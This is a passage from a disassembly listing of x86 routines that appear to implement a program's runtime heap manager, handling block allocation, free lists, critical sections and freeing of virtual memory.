loc_40174F:				; CODE XREF: sub_40172C+82j
					; sub_40172C+C9j
		mov	eax, [ebp+0]
		mov	[esi], eax
		jmp	short loc_40175C
; ---------------------------------------------------------------------------


loc_401756:				; CODE XREF: sub_40172C+39j
		mov	eax, [esi]
		mov	eax, [eax]
		mov	[esi], eax


loc_40175C:				; CODE XREF: sub_40172C+28j
		cmp	ebp, [esi]
		jz	short loc_401767
		mov	eax, [esi]
		cmp	ebx, [eax+8]
		jnz	short loc_401756


loc_401767:				; CODE XREF: sub_40172C+32j
		mov	eax, [esi]
		cmp	ebx, [eax+8]
		jnz	short loc_4017CD
		mov	eax, [esi]
		cmp	edi, [eax+0Ch]
		jle	loc_401815
		mov	eax, [esi]
		mov	edx, edi
		sub	edx, [eax+0Ch]
		mov	eax, [esi]
		mov	eax, [eax+8]
		mov	ecx, [esi]
		add	eax, [ecx+0Ch]
		lea	ecx, [esp+28h+var_20]
		call	sub_4013C8
		cmp	[esp+28h+var_20], 0
		jz	short loc_4017CD
		lea	ecx, [esp+28h+var_18]
		lea	edx, [esp+28h+var_20]
		mov	eax, ebp
		call	sub_401218
		cmp	[esp+28h+var_18], 0
		jnz	short loc_40174F
		lea	ecx, [esp+28h+var_18]
		mov	edx, [esp+28h+var_1C]
		mov	eax, [esp+28h+var_20]
		call	sub_401440
		mov	eax, [esp+28h+var_28]
		xor	edx, edx
		mov	[eax], edx
		jmp	loc_401867
; ---------------------------------------------------------------------------


loc_4017CD:				; CODE XREF: sub_40172C+40j
					; sub_40172C+6Cj
		lea	ecx, [esp+28h+var_20]
		mov	edx, edi
		mov	eax, ebx
		call	sub_4013C8
		cmp	[esp+28h+var_20], 0
		jz	short loc_401815
		lea	ecx, [esp+28h+var_18]
		lea	edx, [esp+28h+var_20]
		mov	eax, ebp
		call	sub_401218
		cmp	[esp+28h+var_18], 0
		jnz	loc_40174F
		lea	ecx, [esp+28h+var_18]
		mov	edx, [esp+28h+var_1C]
		mov	eax, [esp+28h+var_20]
		call	sub_401440
		mov	eax, [esp+28h+var_28]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_401867
; ---------------------------------------------------------------------------


loc_401815:				; CODE XREF: sub_40172C+47j
					; sub_40172C+B3j
		mov	eax, [esi]
		mov	ebp, [eax+8]
		cmp	ebx, ebp
		jnz	short loc_401860
		mov	eax, [esi]
		cmp	edi, [eax+0Ch]
		jg	short loc_401860
		mov	ecx, [esp+28h+var_28]
		mov	eax, ebp
		mov	edx, edi
		call	sub_401508
		mov	eax, [esp+28h+var_28]
		cmp	dword ptr [eax], 0
		jz	short loc_401867
		mov	eax, [esp+28h+var_28]
		mov	eax, [eax+4]
		mov	edx, [esi]
		add	[edx+8], eax
		mov	eax, [esp+28h+var_28]
		mov	eax, [eax+4]
		mov	edx, [esi]
		sub	[edx+0Ch], eax
		mov	eax, [esi]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_401867
		mov	eax, [esi]
		call	sub_4011E4
		jmp	short loc_401867
; ---------------------------------------------------------------------------


loc_401860:				; CODE XREF: sub_40172C+F0j
					; sub_40172C+F7j
		mov	eax, [esp+28h+var_28]
		xor	edx, edx
		mov	[eax], edx


loc_401867:				; CODE XREF: sub_40172C+9Cj
					; sub_40172C+E7j ...
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40172C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401870	proc near		; CODE XREF: sub_401CF4+5Bp
					; sub_401CF4+6Cp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFE8h
		mov	ebx, ecx
		lea	ecx, [eax+3FFFh]
		and	ecx, 0FFFFC000h
		mov	[esp+1Ch+var_1C], ecx
		add	edx, eax
		and	edx, 0FFFFC000h
		mov	[esp+1Ch+var_18], edx
		mov	eax, [esp+1Ch+var_18]
		cmp	eax, [esp+1Ch+var_1C]
		jbe	short loc_4018F9
		mov	ecx, ebx
		mov	edx, [esp+1Ch+var_18]
		sub	edx, [esp+1Ch+var_1C]
		mov	eax, [esp+1Ch+var_1C]
		call	sub_4015C8
		lea	ecx, [esp+1Ch+var_14]
		mov	edx, ebx
		mov	eax, offset off_4075E4
		call	sub_401218
		mov	ebx, [esp+1Ch+var_14]
		test	ebx, ebx
		jz	short loc_4018E2
		lea	ecx, [esp+1Ch+var_C]
		mov	edx, [esp+1Ch+var_10]
		mov	eax, ebx
		call	sub_401440
		mov	eax, [esp+1Ch+var_C]
		mov	[esp+1Ch+var_14], eax
		mov	eax, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_10], eax


loc_4018E2:				; CODE XREF: sub_401870+51j
		cmp	[esp+1Ch+var_14], 0
		jz	short loc_4018FD
		lea	edx, [esp+1Ch+var_14]
		mov	eax, offset off_4075E4
		call	sub_4012A0
		jmp	short loc_4018FD
; ---------------------------------------------------------------------------


loc_4018F9:				; CODE XREF: sub_401870+28j
		xor	eax, eax
		mov	[ebx], eax


loc_4018FD:				; CODE XREF: sub_401870+77j
					; sub_401870+87j
		add	esp, 18h
		pop	ebx
		retn
sub_401870	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401904	proc near		; CODE XREF: sub_402160+12p
					; sub_40230C+19p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00402FD4 SIZE 00000036 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		xor	edx, edx
		push	ebp
		push	offset loc_4019CC
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	offset dword_4075B4
		call	sub_4010DC	; InitializeCriticalSection
		cmp	ds:byte_407035,	0
		jz	short loc_401933
		push	offset dword_4075B4
		call	sub_4010E4	; RtlEnterCriticalSection


loc_401933:				; CODE XREF: sub_401904+23j
		mov	eax, offset off_4075D4
		call	sub_401180
		mov	eax, offset off_4075E4
		call	sub_401180
		mov	eax, offset off_407610
		call	sub_401180
		push	0FF8h
		push	0
		call	sub_4010BC	; LocalAlloc
		mov	ds:dword_40760C, eax
		cmp	ds:dword_40760C, 0
		jz	short loc_4019AB
		mov	eax, 3


loc_401970:				; CODE XREF: sub_401904+7Ej
		mov	edx, ds:dword_40760C
		xor	ecx, ecx
		mov	[edx+eax*4-0Ch], ecx
		inc	eax
		cmp	eax, 401h
		jnz	short loc_401970
		mov	[ebp+var_4], offset aDzdz ; "DD"
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	ds:dword_407600, eax
		mov	ds:byte_4075AC,	1


loc_4019AB:				; CODE XREF: sub_401904+65j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4019D3


loc_4019B8:				; CODE XREF: sub_401904+CDj
		cmp	ds:byte_407035,	0
		jz	short locret_4019CB
		push	offset dword_4075B4
		call	sub_4010EC	; RtlLeaveCriticalSection

locret_4019CB:				; CODE XREF: sub_401904+BBj
		retn
; ---------------------------------------------------------------------------


loc_4019CC:				; DATA XREF: sub_401904+7o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_4019B8
; ---------------------------------------------------------------------------


loc_4019D3:				; DATA XREF: sub_401904+AFo
		mov	al, ds:byte_4075AC
		pop	ecx
		pop	ebp
		retn
sub_401904	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019DC	proc near		; CODE XREF: sub_403A24+37p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		cmp	ds:byte_4075AC,	0
		jz	loc_401AD7
		xor	eax, eax
		push	ebp
		push	offset loc_401AD0
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	ds:byte_407035,	0
		jz	short loc_401A10
		push	offset dword_4075B4
		call	sub_4010E4	; RtlEnterCriticalSection


loc_401A10:				; CODE XREF: sub_4019DC+28j
		mov	ds:byte_4075AC,	0
		mov	eax, ds:dword_40760C
		push	eax
		call	sub_4010C4	; LocalFree
		xor	eax, eax
		mov	ds:dword_40760C, eax
		mov	eax, ds:off_4075D4
		mov	[ebp+var_8], eax
		jmp	short loc_401A4E
; ---------------------------------------------------------------------------


loc_401A33:				; CODE XREF: sub_4019DC+7Aj
		push	8000h
		push	0
		mov	eax, [ebp+var_8]


loc_401A3D:				; DATA XREF: .rsrc:004378FAr
		mov	eax, [eax+8]
		push	eax
		call	sub_4010D4	; VirtualFree
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax


loc_401A4E:				; CODE XREF: sub_4019DC+55j
		mov	eax, offset off_4075D4
		cmp	eax, [ebp+var_8]
		jnz	short loc_401A33
		mov	eax, offset off_4075D4
		call	sub_401180
		mov	eax, offset off_4075E4
		call	sub_401180
		mov	eax, offset off_407610
		call	sub_401180
		mov	eax, ds:dword_4075CC
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_401AA5


loc_401A84:				; CODE XREF: sub_4019DC+C7j
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ds:dword_4075CC, eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4010C4	; LocalFree
		mov	eax, ds:dword_4075CC
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_401A84


loc_401AA5:				; CODE XREF: sub_4019DC+A6j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401AD7


loc_401AB2:				; CODE XREF: sub_4019DC+F9j
		cmp	ds:byte_407035,	0
		jz	short loc_401AC5
		push	offset dword_4075B4
		call	sub_4010EC	; RtlLeaveCriticalSection


loc_401AC5:				; CODE XREF: sub_4019DC+DDj
		push	offset dword_4075B4
		call	sub_4010F4	; RtlDeleteCriticalSection
		retn
; ---------------------------------------------------------------------------


loc_401AD0:				; DATA XREF: sub_4019DC+16o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_401AB2
; ---------------------------------------------------------------------------


loc_401AD7:				; CODE XREF: sub_4019DC+Dj
					; DATA XREF: sub_4019DC+D1o
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4019DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401ADC	proc near		; CODE XREF: sub_401C3C+6Bp
					; sub_401CB4+25p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFF8h
		cmp	eax, ds:dword_407600
		jnz	short loc_401AF1
		mov	edx, [eax+4]
		mov	ds:dword_407600, edx


loc_401AF1:				; CODE XREF: sub_401ADC+Aj
		mov	edx, [eax+4]
		mov	[esp+0Ch+var_C], edx
		mov	edx, [eax+8]
		cmp	edx, 1000h
		jg	short loc_401B50
		cmp	eax, [esp+0Ch+var_C]
		jnz	short loc_401B1E
		test	edx, edx
		jns	short loc_401B0E
		add	edx, 3


loc_401B0E:				; CODE XREF: sub_401ADC+2Dj
		sar	edx, 2
		mov	eax, ds:dword_40760C
		xor	ecx, ecx
		mov	[eax+edx*4-0Ch], ecx
		jmp	short loc_401B69
; ---------------------------------------------------------------------------


loc_401B1E:				; CODE XREF: sub_401ADC+29j
		test	edx, edx
		jns	short loc_401B25
		add	edx, 3


loc_401B25:				; CODE XREF: sub_401ADC+44j
		sar	edx, 2
		mov	ecx, ds:dword_40760C
		mov	ebx, [esp+0Ch+var_C]
		mov	[ecx+edx*4-0Ch], ebx
		mov	eax, [eax]
		mov	[esp+0Ch+var_8], eax
		mov	eax, [esp+0Ch+var_C]
		mov	edx, [esp+0Ch+var_8]
		mov	[eax], edx
		mov	eax, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_C]
		mov	[eax+4], edx
		jmp	short loc_401B69
; ---------------------------------------------------------------------------


loc_401B50:				; CODE XREF: sub_401ADC+24j
		mov	eax, [eax]
		mov	[esp+0Ch+var_8], eax
		mov	eax, [esp+0Ch+var_C]
		mov	edx, [esp+0Ch+var_8]
		mov	[eax], edx
		mov	eax, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_C]
		mov	[eax+4], edx


loc_401B69:				; CODE XREF: sub_401ADC+40j
					; sub_401ADC+72j
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_401ADC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401B70	proc near		; CODE XREF: sub_401CF4+Fp
		push	ebx
		push	ecx
		mov	ecx, esp
		mov	edx, ds:off_407610
		mov	[ecx], edx
		jmp	short loc_401B96
; ---------------------------------------------------------------------------


loc_401B7E:				; CODE XREF: sub_401B70+2Dj
		mov	edx, [ecx]
		mov	edx, [edx+8]
		cmp	eax, edx
		jb	short loc_401B90
		mov	ebx, [ecx]
		add	edx, [ebx+0Ch]
		cmp	eax, edx
		jb	short loc_401BAD


loc_401B90:				; CODE XREF: sub_401B70+15j
		mov	edx, [ecx]
		mov	edx, [edx]
		mov	[ecx], edx


loc_401B96:				; CODE XREF: sub_401B70+Cj
		mov	edx, offset off_407610
		cmp	edx, [ecx]
		jnz	short loc_401B7E
		mov	ds:dword_4075B0, 3
		xor	eax, eax
		mov	[ecx], eax


loc_401BAD:				; CODE XREF: sub_401B70+1Ej
		mov	eax, [ecx]
		pop	edx
		pop	ebx
		retn
sub_401B70	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401BB4	proc near		; CODE XREF: sub_401CF4+7Ep
					; sub_401EF4+68p

var_8		= dword	ptr -8

		push	ebx
		push	ecx
		mov	ecx, edx
		sub	ecx, 4
		lea	ebx, [ecx+eax]
		mov	[esp+8+var_8], ebx
		cmp	edx, 10h
		jl	short loc_401BD9
		mov	edx, [esp+8+var_8]
		mov	dword ptr [edx], 80000007h
		mov	edx, ecx
		call	sub_401DB0
		pop	edx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401BD9:				; CODE XREF: sub_401BB4+10j
		cmp	edx, 4
		jl	short loc_401BED
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx
		mov	eax, [esp+8+var_8]
		mov	[eax], ecx


loc_401BED:				; CODE XREF: sub_401BB4+28j
		pop	edx
		pop	ebx
		retn
sub_401BB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_401BF0	proc near		; CODE XREF: sub_401C14+Dp
					; sub_401EA8+36p ...
		inc	ds:dword_40759C
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		and	edx, 7FFFFFFCh
		sub	edx, 4
		add	ds:dword_4075A0, edx
		call	sub_40230C
		retn
sub_401BF0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401C14	proc near		; CODE XREF: sub_401CF4+A0p
		cmp	edx, 0Ch
		jl	short loc_401C27
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		call	sub_401BF0
		retn
; ---------------------------------------------------------------------------


loc_401C27:				; CODE XREF: sub_401C14+3j
		cmp	edx, 4
		jl	short loc_401C36
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx


loc_401C36:				; CODE XREF: sub_401C14+16j
		add	eax, edx
		and	dword ptr [eax], 0FFFFFFFEh
		retn
sub_401C14	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C3C	proc near		; CODE XREF: sub_401EF4+36p

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		mov	ecx, edx
		and	ecx, 80000002h
		cmp	ecx, 80000002h
		jz	short loc_401C60
		mov	ds:dword_4075B0, 4


loc_401C60:				; CODE XREF: sub_401C3C+18j
		mov	ebx, edx
		and	ebx, 7FFFFFFCh
		sub	eax, ebx
		mov	ecx, eax
		xor	edx, [ecx]
		test	edx, 0FFFFFFFEh
		jz	short loc_401C80
		mov	ds:dword_4075B0, 5


loc_401C80:				; CODE XREF: sub_401C3C+38j
		test	byte ptr [ecx],	1
		jz	short loc_401CAE
		mov	edx, eax
		sub	edx, 0Ch
		mov	esi, [edx+8]
		sub	eax, esi
		mov	[esp+0Ch+var_C], eax
		mov	eax, [esp+0Ch+var_C]
		cmp	esi, [eax+8]
		jz	short loc_401CA4
		mov	ds:dword_4075B0, 6


loc_401CA4:				; CODE XREF: sub_401C3C+5Cj
		mov	eax, [esp+0Ch+var_C]
		call	sub_401ADC
		add	ebx, esi


loc_401CAE:				; CODE XREF: sub_401C3C+47j
		mov	eax, ebx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_401C3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401CB4	proc near		; CODE XREF: sub_401EF4+4Fp

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	ebx, eax
		xor	esi, esi
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_401CCF
		and	eax, 7FFFFFFCh
		add	esi, eax
		add	ebx, eax
		mov	eax, [ebx]


loc_401CCF:				; CODE XREF: sub_401CB4+Ej
		test	al, 2
		jnz	short loc_401CEB
		mov	[esp+0Ch+var_C], ebx
		mov	eax, [esp+0Ch+var_C]
		call	sub_401ADC
		mov	eax, [esp+0Ch+var_C]
		mov	eax, [eax+8]
		add	esi, eax
		add	ebx, eax
		and	dword ptr [ebx], 0FFFFFFFEh


loc_401CEB:				; CODE XREF: sub_401CB4+1Dj
		mov	eax, esi
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_401CB4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401CF4	proc near		; CODE XREF: sub_401DB0+A7p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	esi, edx
		mov	ebp, eax
		xor	ebx, ebx
		mov	eax, ebp
		call	sub_401B70
		mov	[esp+1Ch+var_14], eax
		cmp	[esp+1Ch+var_14], 0
		jz	loc_401DA6
		mov	eax, [esp+1Ch+var_14]
		mov	edi, [eax+8]
		mov	eax, edi
		mov	edx, [esp+1Ch+var_14]
		add	eax, [edx+0Ch]
		mov	edx, eax
		lea	ecx, [esi+ebp]
		sub	edx, ecx
		cmp	edx, 0Ch
		jg	short loc_401D37
		mov	esi, eax
		sub	esi, ebp


loc_401D37:				; CODE XREF: sub_401CF4+3Dj
		mov	eax, ebp
		sub	eax, edi
		cmp	eax, 0Ch
		jge	short loc_401D56
		mov	eax, [esp+1Ch+var_14]
		mov	edx, ebp
		sub	edx, [eax+8]
		add	edx, esi
		mov	ecx, esp
		mov	eax, edi
		call	sub_401870
		jmp	short loc_401D65
; ---------------------------------------------------------------------------


loc_401D56:				; CODE XREF: sub_401CF4+4Aj
		mov	ecx, esp
		mov	edx, esi
		sub	edx, 4
		lea	eax, [ebp+4]
		call	sub_401870


loc_401D65:				; CODE XREF: sub_401CF4+60j
		mov	edi, [esp+1Ch+var_1C]
		test	edi, edi
		jz	short loc_401DA6
		mov	edx, edi
		sub	edx, ebp
		mov	eax, ebp
		call	sub_401BB4
		mov	edx, [esp+1Ch+var_14]
		mov	edx, [edx+8]
		mov	ecx, [esp+1Ch+var_14]
		add	edx, [ecx+0Ch]
		mov	eax, edi
		add	eax, [esp+1Ch+var_18]
		cmp	edx, eax
		jbe	short loc_401D99
		lea	edx, [esi+ebp]
		sub	edx, eax
		call	sub_401C14


loc_401D99:				; CODE XREF: sub_401CF4+99j
		mov	edx, esp
		mov	eax, [esp+1Ch+var_14]
		call	sub_4012A0
		mov	bl, 1


loc_401DA6:				; CODE XREF: sub_401CF4+1Dj
					; sub_401CF4+76j
		mov	eax, ebx
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi


loc_401DAE:				; DATA XREF: .rsrc:0043808Ar
		pop	ebx
		retn
sub_401CF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_401DB0	proc near		; CODE XREF: sub_401BB4+1Dp
					; sub_402018+EEp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF4h
		mov	ebx, edx
		mov	esi, eax
		mov	[esp+14h+var_14], esi
		mov	eax, [esp+14h+var_14]
		mov	[eax+8], ebx
		mov	eax, [esp+14h+var_14]
		add	eax, ebx
		sub	eax, 0Ch
		mov	[eax+8], ebx
		cmp	ebx, 1000h
		jg	short loc_401E4B
		mov	eax, ebx
		test	eax, eax
		jns	short loc_401DDE
		add	eax, 3


loc_401DDE:				; CODE XREF: sub_401DB0+29j
		sar	eax, 2
		mov	edx, ds:dword_40760C
		mov	edx, [edx+eax*4-0Ch]
		mov	[esp+14h+var_10], edx
		cmp	[esp+14h+var_10], 0
		jnz	short loc_401E19
		mov	edx, ds:dword_40760C
		mov	ecx, [esp+14h+var_14]
		mov	[edx+eax*4-0Ch], ecx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_14]
		mov	[eax+4], edx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_14]
		mov	[eax], edx
		jmp	loc_401EA1
; ---------------------------------------------------------------------------


loc_401E19:				; CODE XREF: sub_401DB0+44j
		mov	eax, [esp+14h+var_10]
		mov	eax, [eax]
		mov	[esp+14h+var_C], eax
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_10]
		mov	[eax+4], edx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_C]
		mov	[eax], edx
		mov	eax, [esp+14h+var_10]
		mov	edx, [esp+14h+var_14]
		mov	[eax], edx
		mov	eax, [esp+14h+var_C]
		mov	edx, [esp+14h+var_14]
		mov	[eax+4], edx
		jmp	short loc_401EA1
; ---------------------------------------------------------------------------


loc_401E4B:				; CODE XREF: sub_401DB0+23j
		cmp	ebx, 3C00h
		jl	short loc_401E60
		mov	edx, ebx
		mov	eax, esi
		call	sub_401CF4
		test	al, al
		jnz	short loc_401EA1


loc_401E60:				; CODE XREF: sub_401DB0+A1j
		mov	eax, ds:dword_407600
		mov	[esp+14h+var_10], eax
		mov	eax, [esp+14h+var_14]
		mov	ds:dword_407600, eax
		mov	eax, [esp+14h+var_10]
		mov	eax, [eax]
		mov	[esp+14h+var_C], eax
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_10]
		mov	[eax+4], edx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_C]
		mov	[eax], edx
		mov	eax, [esp+14h+var_10]
		mov	edx, [esp+14h+var_14]
		mov	[eax], edx
		mov	eax, [esp+14h+var_C]
		mov	edx, [esp+14h+var_14]
		mov	[eax+4], edx


loc_401EA1:				; CODE XREF: sub_401DB0+64j
					; sub_401DB0+99j ...
		add	esp, 0Ch
		pop	esi
		pop	ebx
		retn
sub_401DB0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401EA8	proc near		; CODE XREF: sub_401EF4+Fp
					; sub_40230C+11Dp ...
		cmp	ds:dword_407604, 0
		jle	short locret_401EF1
		cmp	ds:dword_407604, 0Ch
		jge	short loc_401EC6
		mov	ds:dword_4075B0, 7
		jmp	short locret_401EF1
; ---------------------------------------------------------------------------


loc_401EC6:				; CODE XREF: sub_401EA8+10j
		mov	eax, ds:dword_407604
		or	eax, 2
		mov	edx, ds:dword_407608
		mov	[edx], eax
		mov	eax, ds:dword_407608
		add	eax, 4
		call	sub_401BF0
		xor	eax, eax
		mov	ds:dword_407608, eax
		xor	eax, eax
		mov	ds:dword_407604, eax

locret_401EF1:				; CODE XREF: sub_401EA8+7j
					; sub_401EA8+1Cj
		retn
sub_401EA8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401EF4	proc near		; CODE XREF: sub_401F80+18p
					; sub_401FAC+1Dp

var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFF0h
		mov	esi, eax
		lea	edi, [esp+1Ch+var_1C]
		movsd
		movsd
		mov	edi, esp
		call	sub_401EA8
		lea	ecx, [esp+1Ch+var_14]
		mov	edx, edi
		mov	eax, offset off_407610
		call	sub_401218
		mov	ebx, [esp+1Ch+var_14]
		test	ebx, ebx
		jnz	short loc_401F24
		xor	eax, eax
		jmp	short loc_401F76
; ---------------------------------------------------------------------------


loc_401F24:				; CODE XREF: sub_401EF4+2Aj
		mov	eax, [edi]
		cmp	ebx, eax
		jnb	short loc_401F34
		call	sub_401C3C
		sub	[edi], eax
		add	[edi+4], eax


loc_401F34:				; CODE XREF: sub_401EF4+34j
		mov	eax, [edi]
		add	eax, [edi+4]
		mov	esi, ebx
		add	esi, [esp+1Ch+var_10]
		cmp	eax, esi
		jnb	short loc_401F4B
		call	sub_401CB4
		add	[edi+4], eax


loc_401F4B:				; CODE XREF: sub_401EF4+4Dj
		mov	eax, [edi]
		add	eax, [edi+4]
		cmp	esi, eax
		jnz	short loc_401F65
		sub	eax, 4
		mov	edx, 4
		call	sub_401BB4
		sub	dword ptr [edi+4], 4


loc_401F65:				; CODE XREF: sub_401EF4+5Ej
		mov	eax, [edi]
		mov	ds:dword_407608, eax
		mov	eax, [edi+4]
		mov	ds:dword_407604, eax
		mov	al, 1


loc_401F76:				; CODE XREF: sub_401EF4+2Ej
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401EF4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401F80	proc near		; CODE XREF: sub_402018+76p

var_C		= dword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edx, esp
		lea	eax, [ebx+4]
		call	sub_401684
		cmp	[esp+0Ch+var_C], 0
		jz	short loc_401FA1
		mov	eax, esp
		call	sub_401EF4
		test	al, al
		jnz	short loc_401FA5


loc_401FA1:				; CODE XREF: sub_401F80+14j
		xor	eax, eax
		jmp	short loc_401FA7
; ---------------------------------------------------------------------------


loc_401FA5:				; CODE XREF: sub_401F80+1Fj
		mov	al, 1


loc_401FA7:				; CODE XREF: sub_401F80+23j
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_401F80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401FAC	proc near		; CODE XREF: sub_4024E4+1C3p

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		mov	ecx, esp
		lea	edx, [esi+4]
		mov	eax, ebx
		call	sub_40172C
		cmp	[esp+10h+var_10], 0
		jz	short loc_401FD2
		mov	eax, esp
		call	sub_401EF4
		test	al, al
		jnz	short loc_401FD6


loc_401FD2:				; CODE XREF: sub_401FAC+19j
		xor	eax, eax
		jmp	short loc_401FD8
; ---------------------------------------------------------------------------


loc_401FD6:				; CODE XREF: sub_401FAC+24j
		mov	al, 1


loc_401FD8:				; CODE XREF: sub_401FAC+28j
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_401FAC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401FE0	proc near		; CODE XREF: sub_402018+68p
		push	ecx
		mov	edx, esp
		xor	ecx, ecx
		mov	[edx], ecx
		test	eax, eax
		jns	short loc_401FEE
		add	eax, 3


loc_401FEE:				; CODE XREF: sub_401FE0+9j
		sar	eax, 2
		cmp	eax, 400h
		jg	short loc_402011


loc_401FF8:				; CODE XREF: sub_401FE0+2Fj
		mov	ecx, ds:dword_40760C
		mov	ecx, [ecx+eax*4-0Ch]
		mov	[edx], ecx
		cmp	dword ptr [edx], 0
		jnz	short loc_402011
		inc	eax
		cmp	eax, 401h
		jnz	short loc_401FF8


loc_402011:				; CODE XREF: sub_401FE0+16j
					; sub_401FE0+27j
		mov	eax, [edx]
		pop	edx
		retn
sub_401FE0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402018	proc near		; CODE XREF: sub_402160+173p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	ebx, eax
		lea	esi, [esp+1Ch+var_14]
		mov	edi, offset dword_407600
		mov	ebp, offset dword_407604


loc_40202F:				; CODE XREF: sub_402018+8Cj
		mov	eax, dword ptr ds:aDzdz+4
		mov	[esi], eax
		mov	eax, [esi]
		cmp	ebx, [eax+8]
		jle	loc_4020EC
		mov	eax, [edi]
		mov	[esi], eax
		mov	eax, [esi]
		mov	eax, [eax+8]
		cmp	ebx, eax
		jle	loc_4020EC
		mov	edx, [esi]
		mov	[edx+8], ebx


loc_402057:				; CODE XREF: sub_402018+4Bj
		mov	edx, [esi]
		mov	edx, [edx+4]
		mov	[esi], edx
		mov	edx, [esi]
		cmp	ebx, [edx+8]
		jg	short loc_402057
		mov	edx, [edi]
		mov	[edx+8], eax
		mov	eax, [esi]
		cmp	eax, [edi]
		jz	short loc_402076
		mov	eax, [esi]
		mov	[edi], eax
		jmp	short loc_4020EC
